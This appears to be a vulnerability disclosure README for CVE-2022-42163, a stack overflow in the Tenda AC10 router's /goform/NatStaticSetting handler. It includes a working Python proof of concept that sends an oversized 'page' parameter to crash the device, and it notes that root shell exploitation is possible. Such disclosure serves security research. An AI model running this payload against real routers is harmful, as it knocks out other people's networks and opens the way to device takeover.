CVE-2022-42163: IOT_Vul/readme.md at main · z1r00/IOT_Vul

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Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information

• Manufacturer’s address：https://www.tenda.com.cn/

• Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html

Affected version

Vulnerability details

/goform/NatStaticSetting, It can be seen that the page is controlled by the user, and will be spliced into the gotopage with sprintf. It is worth noting that there is no size limit to cause stack overflow.

Poc

import socket import os

li = lambda x : print(‘\x1b[01;38;5;214m’ + x + ‘\x1b[0m’) ll = lambda x : print(‘\x1b[01;38;5;1m’ + x + ‘\x1b[0m’)

ip = ‘192.168.0.1’ port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b’\r\n’

p1 = b’a’ * 0x300 p2 = b’page=’ + p1

p3 = b"POST /goform/NatStaticSetting" + b" HTTP/1.1" + rn p3 += b"Host: 192.168.0.1" + rn p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn p3 += b"Accept-Language: en-US,en;q=0.5" + rn p3 += b"Accept-Encoding: gzip, deflate" + rn p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn p3 += b"Connection: close" + rn p3 += b"Upgrade-Insecure-Requests: 1" + rn p3 += (b"Content-Length: %d" % len(p2)) +rn p3 += b’Content-Type: application/x-www-form-urlencoded’+rn p3 += rn p3 += p2

r.send(p3)

response = r.recv(4096) response = response.decode() li(response)

You can see the router crash, and finally we can write an exp to get a root shell